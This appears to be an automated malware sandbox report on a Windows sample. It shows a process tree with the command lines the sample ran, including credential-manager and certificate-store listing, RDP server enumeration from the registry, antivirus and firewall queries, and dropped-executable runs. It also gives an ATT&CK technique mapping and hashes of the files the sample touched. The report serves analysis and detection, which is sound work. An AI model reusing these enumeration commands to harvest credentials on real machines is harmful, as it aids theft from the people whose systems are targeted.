  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4256
- - C:\Windows\system32\cmdkey.exe
    "C:\Windows\system32\cmdkey.exe" /list
    3⤵
    PID:1288
- C:\Windows\system32\certutil.exe
  "certutil" -store My
  2⤵
  PID:2220
- C:\Windows\system32\certutil.exe
  "certutil" -store -user My
  2⤵
  PID:2880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Get-VpnConnection | ConvertTo-Json"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command " $regPath = \"HKCU:\Software\Microsoft\Terminal Server Client\Servers\" if (Test-Path $regPath) { Get-ChildItem $regPath | ForEach-Object { $server = $_.PSChildName $usernamePath = Join-Path $_.PSPath \"UsernameHint\" $username = if (Test-Path $usernamePath) { (Get-ItemProperty -Path $usernamePath -Name \"(default)\" -ErrorAction SilentlyContinue).\"(default)\" } else { \"\" } Write-Output \"Server:$server,Username:$username\" } } "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  PID:1652
- C:\Windows\system32\cmdkey.exe
  "cmdkey" /list
  2⤵
  PID:2368
- C:\Windows\system32\cmdkey.exe
  "cmdkey" /list:TERMSRV/69.48.201.74
  2⤵
  PID:1496
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName,pathToSignedProductExe,productState /Format:List
  2⤵
  PID:872
- C:\Windows\system32\hostname.exe
  "hostname"
  2⤵
  PID:4484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Get-WmiObject Win32_VideoController | ForEach-Object { $_.Name }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Get-NetAdapter | Where-Object { $_.Status -eq 'Up' -and $_.InterfaceDescription -notmatch 'virtual|loopback' } | Sort-Object -Property LinkSpeed -Descending | Select-Object -First 1 -ExpandProperty MacAddress"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5108
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName,pathToSignedProductExe,productState /Format:List
  2⤵
  PID:964
- C:\Windows\system32\netsh.exe
  "netsh" advfirewall show allprofiles state
  2⤵
  - Modifies Windows Firewall
  PID:2588

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\CLR\runtime_broker.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\CLR\runtime_broker.exe
1⤵
- Executes dropped EXE
PID:3048

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\CLR\runtime_broker.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\CLR\runtime_broker.exe" explorer.exe ,C:\Users\Admin\AppData\Roaming\Microsoft\Windows\CLR\runtime_broker.exe
1⤵
- Executes dropped EXE
PID:2840

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4364

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1788

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Modify Authentication Process

T1556

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Authentication Process

T1556

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 a7b191926950636815cdc2107eadf4f1087005b4ad1599e1c81c311c91c48bed
MD5 48e17a1d1cb12e07a7172084f89a7077
SHA1 d81c5962a59a869ff5aabe6c379d6577bf662a90
SHA512 60685b74626e433b02222a2f2f3c25bb93089690303c68959ed3d59b803f7647c72fdb2e81594771e06323c2676cbe1759416ad04d08e594931b85d2dfe1aa2a
TLSH
T16EE0ABADD9A1EC374DFD1B5D50100B06E74013073640844B3E3C88094F7123A068681C
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 591c6c21387e4df62f67cad83ae6eeb5e65f4c7c437a1441ca891c1c36450724
MD5 8054bfe03e7c07480265b22ea07b332e
SHA1 0f798d47ee304f5e599664f6212eb6fe120e7496
SHA512 f8388375b3dd5369dac706390f9e4f19eac554ee80eefded84e1aba8e003978b4953268cec4257aef22f736bd56771188eab7612383102798400ff0d4aa2d9cd
SSDEEP 192:0RE/A4yMBD1h8v71hpAPRp2g92Hsb+WNnDUP4GBkwwaqTsMbG15KVyIsnAUgtaJ:0RE/zboBhUXDQwYP/Qa7R15K8
TLSH
T14042A52EB960657BACDBD22AFD527B53D7F4102121E52E84EBFC8A2C14D75CC622701B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 17KB
SHA256 c54836683d23f9fee57c69a9d42002f448a01bbb5b6b38437c5fcac9744adcc4
MD5 97aacfb3977979cfbf9d8a6c4d36d689
SHA1 28c462804fa985bea43aac67e658ae60025ec226
SHA512 ac229055b177234c91f43061b9900ff41ba000713f4120fbf08cb18c16d47d484d5415a198c6f1896335d53e2a7e2f4dc407a06b90151f49d9994124c8990d05
SSDEEP 384:+wjKJ7KxkXqKf/pUZNCgVLH2HfgslU697pLuLcSjwxXODKh+ErU3wZJHG/A1YTPB:+0KJ7KxkXqKf/pUZNCgVLH2HfgsG697U
TLSH
T192720A676C488E770F94C68CEC177F4FADB5024B65E9886483FA982903D5BCF11462EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 120B
SHA256 13b175cb0c0a956c15992c2f2d4ccdabbb0e444e4ffad49dbc9bcb1f012c00b7
MD5 9e42ff55d6ae493ce6631be7cd12598a
SHA1 83b3422704397ff4bc4733b725e1bfb463910aeb
SHA512 92a225c46e2eda8174d4b61ecaaf5f67ae9abe9c6e6300b2c87ce0dae39ced5e7726e74b723032b8145d4e6603f88af3d8388b40626a031e1828f6b61faee377
TLSH
T18DB01200C0015A03C49203B03342149871145F10964B270553E06962D8251B281281D1
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe591f36.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe591f36.TMP
Size 96B
SHA256 c6dbbdb90ed3dbd16f39a64def6738aacac216a11280009bade90f6f7a1e37df
MD5 c27287f3cc16ed868fb148b0e30b50e3
SHA1 ea197ef902431745acbf288693246b3f86bfea59
SHA512 22092d7449f21d97de0021f243d5350a9da812fa01a2de86dea6fadb159ec09a29ee535d5931bb3801822d66c5f34238117f35de2ec3d66eaa8ba426f55ae24e
TLSH
T1B1B00259C503B322E05613B435DAA6DDB1A0DF25D60B121292E01AAAEC296B18A65764
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 239KB
SHA256 b1f8630a98801e2fc46ea0a7d2874cb43b179854c642943cfe9a46f897dc3a00
MD5 1c3ad437de99f39c5950e2b413cffc76
SHA1 ac5f046dc24c41c0e0a36e6db36345aae52ca40e
SHA512 96cb920e7e69fd3d7056f5f85a6cda27be8df09436c1fe64956c53aca7fffe5963cc2ac3abb0640e05a7b3a7c9209cd68e363a2ed4d25be55c3d64183a1d984e
SSDEEP 6144:trgqU1FEb281SwPXOdN5Zm7Rkm1tYpBeh2BAoc:WTLKxtCN5w9oBGcAoc
TLSH
T17E34237BAC72FD7A55F8934AF08F1E0F2DB09A66E4159E9284C0670C32DBFD50546A31
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 115KB
SHA256 43be52c3adb2c315a7f10eb4dbd47645548b107664ae5c8c2355092871fa6610
MD5 6bdf39c02ad053b07f3c5975c6dd6595
SHA1 3644136f48388b188885404fdf8d142a396a00b0
SHA512 301c96b4dac1a47d6600b45d20b18abd5ad96bdcdbf2bf17d518958b74c8a44d417773c50fea6d0bf342546dc2c64a25b6031db0cd53ea79e6f6d23b8ffeb750
SSDEEP 3072:KGm7D5Lk17ox1tIpud63U8BehbCBi9fTrM3:Nm7Rkm1tYpBeh2BAo3
TLSH
T150C312275E71E9375D79BB4EB08E0B1F1EF14AA6C930DE92C8D85A0437EA7CC1A05934
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 239KB
SHA256 b1cf1da8d2b5ffa700bea1346ded8d2f561c228853a4e627835088037126c194
MD5 f301017315f8640e4a4c8e1fe5558f09
SHA1 a4bd0571bb03a9f49c83ae864dba4f62104e9cf9
SHA512 ccd3584ca840e93533c3cf9f79a5ec309a5e96bee689a40d9c81713785e000bc7e49096a7b73dacefa0db7f32bd87aa74497dccf8948ec34d552e5db06caa19e
SSDEEP 6144:4rgqU1FEb281SwPXOdN5Zm7Rkm1tYpBeh2BAoc:LTLKxtCN5w9oBGcAoc
TLSH
T13834227BAC72FD7A55F8934AF08F1E0F2DB09A66E4159E9284C0670C32DBFD50546A31
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 8da58a9b03c676d64167caf3657c5315a0b78038e3ae23bfef432a40d8d22290
MD5 81f1d957977f2d73471366011b7128bf
SHA1 c3403bfa34ee45b494966cf8be9bed08da2c5168
SHA512 171afd7f20b750bc0bdc1fc9fd4cf14984e63031e562c60a7b1bab3112c84572ebc63669b744e0e5399b2f5453039fb86937cf7ab417a72da7f1ad931c88f0c5
TLSH
T152D012B62A4A7010F2694A31B456CB00776D15A12852A705E26D945C99A90A566C62C6
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 9300dc4b11c647d4484e20f994dffbbd9939379d590fc7dedf9875372c431ce1
MD5 b031933009b03b3dcfc6f363760f83dd
SHA1 a9d3126d19c73dafd7e12a688bb3a802627790ee
SHA512 f606a12a9a0879bb3f7d6c9bcb6e3754434b9f0d8f1d351e8104aef087c326f689af5174eddcb6a3cd1f1d07864ff544fc76e73f8b76bf6d4330e19666cb7b28
TLSH
T18FD012BA2A4E7010F26D4A31B416CB00776D15A12852A705E22D944C99A90A562C62C6
MD5 SHA1 SHA512 TLSH

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 c36649222059e466bdcbcc0d0c24e8451e0dd0bdec0ac9200cd3a399a6e53815
MD5 7534e12038c246a6501f799b757d59a3
SHA1 a03e89001c7fca944c96caf331855a072551e042
SHA512 e1ead48684629d9ee02b97cf8f7fe0e6f5df0de68507660ad2414e57ba04bd12ead09c02dd08111db1125ea6eb96b08a73c751a4bfe55b40949cf96b8d28ba10
TLSH
T142E022EACC22FC3B18FE1759A00D8B56E71113272A81894F3E3C81098FB8A2B45C585C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 4KB
SHA256 3ea139a344feb62b91eda1e89c5dbc54c0b9a7e71ffdaa15552f5aa8f6e55edf
MD5 80e814f6c6bab3c362da226256dc91b9
SHA1 694e12ee07e2d00930dc5d4a33d9a2cb0baa87c4
SHA512 1a0424b927d1e8794207c0177c5a4fcede88684799c7adff14565fed9927beba9c7906464f6d0a93576386e4a7469095d999d92e3e80f396f347b3b2ac6d19d6
SSDEEP 96:aL5DUJMOLVQXWMmjCOGcXE7xjGxUsiVO7R:aFBOLWDm2yP5R
TLSH
T110A1B976E9C8D99CFF15B17A4D5029243D1AE8CEFA8616C28C185E20E4C37E4F1728C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe5a0afe.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5a0afe.TMP
Size 2KB
SHA256 90fd123696b67ae8da0ee7b2ad2323ffba23c461f968a66c06de3534df94deb7
MD5 579d0ff1309b135a180382e4d85961ae
SHA1 2c208ca53d0bf3ba61a6c2737dc8bfc702f2df85
SHA512 9414c505be81a9517f595e7d7214f6fae0cbd1b225608b476585771f7756228e3a359812eeb0c26cadee60da1a867280b6435262c4559860a14119e943192d0f
TLSH
T16C51EAB9F9C1099DF316223F61D07218BD29CCE8FD9A0DE11E505138E9D3B64C5759C8
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 35KB
SHA256 1256eb24b8435d098f6360b18787760c15b1d240ff91c5c0af2b4604bc0ba2fa
MD5 855fa227b4a0e685bb77b5cae4297800
SHA1 36a641a688a2764d950bd5058e9cbecae7ca24a3
SHA512 096945bb0174c5cebc82c5e7297781eba656d2aa71283e7f801ebe1a9c974e8d886ed7c9c8c09798cef4ea6e9169a1e81e970b20f19e0f4d349c1c819f22bf30
SSDEEP 768:ZYsv8OdF6ssi7pLuLnFhWvFvmX8F1+UoAYDCx9Tuqh0VfUC9xbog/OVzysy10LlV:eY8Od/HEnFhWvFvmXu1jaLt10Lm2NuFU
TLSH
T19DF2FB3B6C0CCF7E4F844E9CEC2A6F8A6DE802CB5698895447FA844C02C76EB55175DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\2e4024ac-e05d-457d-853a-d1475acbd6a7\index-dir\the-real-index
Size 72B
SHA256 e6281df7ab917d775d9156f7f4ababd1e8ae7318a62df3faaaa4c03546fd4db4
MD5 dcc1faf663d5c2a368f1747ddc0106d6
SHA1 ba220b6d1d6c9001c63665e0aca2267d11ed0a26
SHA512 9ba71fbd05a796a9b048f265ad62ec94391f1cd397a5b6c797a17ef6543049d5b1a14f3fab8cfe8c15c94353ae79ee110e7ca5fcf80db74de98367d5e8a44d27
TLSH
T1F4A002AC91518601C15097B6398616D2227BBD1072130E1BC09083848890AC5A23794C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59ef58.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\2e4024ac-e05d-457d-853a-d1475acbd6a7\index-dir\the-real-index~RFe59ef58.TMP
Size 72B
SHA256 2065717d1da10426e37b2f7d26977d142463f0091624c0c5fb7d00cfab9a61ea
MD5 04b0056eea1d6f775da9f9912e59f39d
SHA1 22db2db0ccf277d03c941441ee77f7c901929eec
SHA512 b7e61fb19909dc83aa04baf2b722db11434b702491cece6973432a6ec0f82b6aa288ee48ed2cbca6891e0b194f607c8a0651118d396770e2cc618acc4306f535
TLSH
T1C8A002B4A6415888D44013765009567092DBCC15151473574A905854CDA5C41C767040
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\bc34455a-c0c0-4ad5-9d7c-df0e9e63825f\index-dir\the-real-index
Size 72B
SHA256 384f119497ff06558e49608049f689d31f0cc5516dddbf245b888504d42d4ac9
MD5 fadb3ffb394df77270c21680da55ed63
SHA1 619bc4ea138c343221a2421099f53f5bc02c26ff
SHA512 e2cfc9b69d4ddbb771d10677311460604dcd1f3dd50eddf7e64d51d11a59350ffc34a8de4e5a6197696cf7e95c05e544bd5fe386f7eccee9b79dea171780119f
TLSH
T199A00221426C0073E84B06B19582015063549CF507C143455CA00C5B88621B8C706044
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59de8f.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\bc34455a-c0c0-4ad5-9d7c-df0e9e63825f\index-dir\the-real-index~RFe59de8f.TMP
Size 72B
SHA256 181c39e88501b3d290193ced0496da91a54b2dad273cefea5426bf09eb2627f8
MD5 148bbadf78064f2e7fda7de634e87e93
SHA1 0a590a98f0840722237b2b065d3b8ef85fcefc5f
SHA512 5f0c43d946c93c476562fd2fce0bfd31c8b19d68e32e048d19e13eff398483171e4a1a6acf1ec87776de1b1a5238b1e38064508ac5cb16e7206e8e7653e2ee2e
TLSH
T151A0023882581042C42A17B056CD02513308DC21A816430784A024659C5D899CD15081
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\cdf12dee-6673-4e91-954c-23b338c514e6\index-dir\the-real-index
Size 3KB
SHA256 b4bbc0bccfd3b2381718f6633d03adac4da55297d7866f41e75c4631b6e9c355
MD5 afdb4c11b87e15a88c242d0025a4effd
SHA1 a0303b1def5f7f20da829ece9c72af1b6158a722
SHA512 e49530f44967601e7861f4b1051f635b0b7c1c6de37aaccaebaf007457b460746d001ad2d2a6be40c772c9b7cd2c900eaf8879a3488c3f3cd66c904159d0dbc0
TLSH
T1FA51C70F0C424A26CD6951B25CFA08407F7AFCCDA6859A1771ECA035FCC33362D59276
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\e6392b72-b563-46a0-851d-26cde0dbbb59\index-dir\the-real-index
Size 72B
SHA256 51482642018e615896b3b91ecd6a0b71ed180377dbef050ca77e21960c97df75
MD5 895fc6b04c4ed5cfbd4fc851a5a28545
SHA1 2d8a34c1cc872db94f74d3581e7a689334465bef
SHA512 6b011c8f31a36f002f5db6b70ef4a5c2d33fde2f48cad5da074158e0c2a6ba40a2d71d850c1e576223e1846f6456349be82a5b682abd02c5b3375703839eeb38
TLSH
T14FA0026017804263C00393B42AA7214276149D959683A2068A954846CCA4940D5A110C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59f032.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\e6392b72-b563-46a0-851d-26cde0dbbb59\index-dir\the-real-index~RFe59f032.TMP
Size 72B
SHA256 ecda1a36a6827f3133683a0343abc94e09371450e7ada3a4db29fa3602e208c1
MD5 c3539c1ec7ba9a5ba2b2157a9d29455c
SHA1 9820d4647da3bd6a19649a0d94c82d7fc0cf1e5a
SHA512 42fbe01079cf6f4e2bb118b01c692135e0f0d8710c3d970573ded632685793e0ab5a948fec72949fa0bf739aad8fd9824c37b96dbf2a9407a0f80badd570640e
TLSH
T1C0A0022487800007D06B67B116DA03453308C824210517874C952085DCA08425E4300C
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt
Size 476B
SHA256 8c152bbea9a00111c48025580b152c26d7ef5744ff5b888af4aba538a1706815
MD5 d4c54ae5797ba8e5ba69c4a978505718
SHA1 925d7e20f319700b12c3be3cf2f700cf34c87510
SHA512 ae9d25995401bb3d4188793cdec8dd916fd2b4a68f54d80c11a8b6682be74e76f4de9bba4e6a01158f1df553257d1ad0a748a86e5b22df9f6975777616be9e6c
TLSH
T1CEF027B37FFB1854FC6BE3D620346970040978949850EC5F2816B3D751B131C206DCA6
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 72B
SHA256 7fda6dad4aa2cbea51e0ce3cac5394826ba7fed0d6e91a480189b5f01cb66547
MD5 afe1fa7b0fe90c43a960ae1efc52b544
SHA1 a74eceea56edc4a830afeb846f9c81e9c6af2c78
SHA512 673c6eac5088f6c41de9a770774b6978e9ae640a7014157077a09a81e199d63e090cab438408400a3eb2985271bbe1cee141ace15ae140bb0fe86dbcf2e7cc63
TLSH
T1FAA0025589499115ED54067914BE65C873A288E903451601549C90B88C9335451C1111
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 24KB
SHA256 0a00509a8130286e7a8c1d38801e64623adc208a596ff6d47d2b8bd25c1a069e
MD5 bd3af16ab0851bc345d0eb0373c3d71c
SHA1 4c29fb2995651e8d2580d5f08a0009f42ee24af8
SHA512 95209c3db13f0327ab17ebe6ae1a85643b38e5f043da0366182c47805f90b4e682f176ef5f32d2d43147d28900a0357ef8007a1ea3b99e77051892327b1e057a
SSDEEP 96:Ko7iKcsW23iKoM7LKKc026WEKjKkAAK9Gq+xGKqkJ7yKkc++dmKWI94gK966GbGT:05ppxnY753RNBvRJJdt7p5J97rp1
TLSH
T1F5B26B5A703E0211397E2988B39696364F4235A37058E4AF7FB814A14F67E225CFDCED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b7dde13a-8646-41cb-b3ca-5c7fea90379f.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\b7dde13a-8646-41cb-b3ca-5c7fea90379f.tmp
Size 16KB
SHA256 e809d87a5c5873ca8c4bcc3e2ca088f781ad3faf72fbf2b2361f6a91fec2ec18
MD5 f035bc4693e4c8c2880b223ebfee3de6
SHA1 56db7cf7f9b3caf6cd68e5e766ffaf26c7f252e3
SHA512 e4148bb7159401340e633a22f093d142ad3aadfc1f97a0b275045366bb1f7975eb83b26a00b54a1855d5d3ec0bc2867b3ef79a949b2ba3f8acadae33a1a1a778
SSDEEP 192:sxZGRyyMqZjK1Ml8MUO/fass0haZdIaRuv/bOqdp41HW6+WNGYv0C+BW0Igj/J:sxZGDcO/fass0hazIKYyaYHbGNRjB
TLSH
T1E672F7067A24497B8DD7D219FA457F53D7F81163A5904E48AAFCCA0C04E7BED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 e87fbae51c6e700110829dfac49a8caa281bbd6684580b0d4518afc7f56be82e
MD5 56e64d67402d40178caaa0ee5bf00ff1
SHA1 48bd4ec99240c76eb125f49ce37f2f96949be37f
SHA512 b1f822a66ab6d0a7bf9f7606c1961741b4d00773f7720e0db62ac815313b9ad975cc9a7d8c59fbd1476052f3c87593210db5f045344027393c6bfc878d947235
SSDEEP 384:npJiFiZcI63sNH8TUNTUlI40TIckCr1NYpvBftGJXfhT9J8dL/0pGOOPrXLpe8Cc:pgFQ63awghkkOjGzT9J8x7Oi9P5tV
TLSH
T170D24A35E868DAA7EDF79F89A7593A03EEF00163D5CC5AD4D9D88D0D019319D030BC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 b197f748bba735b023c905a13d232193a269c4a108c4a19798d691fa8cc1b56a
MD5 e2f4cd785b035606980846bf60e5f740
SHA1 63388d25d3ed2d58c6afb50099e54e6d5b2022de
SHA512 d0f80fee91fbce9fa4c24313c59d29b5e19d6f4e94b3003868ff8df94e2d056bb21a2f8c67f06b0e1a01e1348645ab2d99ca280447395444e7193c6441af4f20
SSDEEP 384:nNiFiZcI63sNH8TUNTUlI44TIckCr1NYpvBftGJXfhT9J8dL/0pGOOPrXLpe8C/U:EFQ63awgVkkOjGzT9J8x7Oi9P5tV
TLSH
T15BD24A35E868DAABEDF79F89A7593A03EEF00163D5CC5AD4DAD88D0D019319D030BC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 24KB
SHA256 295a50e3df1204ca8aa84c91c87d5d96624ecc5273bc46170cfd91e6ac57274c
MD5 7c7f47950c6ac3af2bfe4b6fdd80951a
SHA1 e038f914305c05735e1dbdf3c899ddcad4ff65a6
SHA512 bd77962ec66ff63634358d8d28b94da1d41624bcd37e9d7949b0277c68ec3428e594267108f4995f2a981b4abc67b4911f05445cb50856f81ae3c26cfb176006
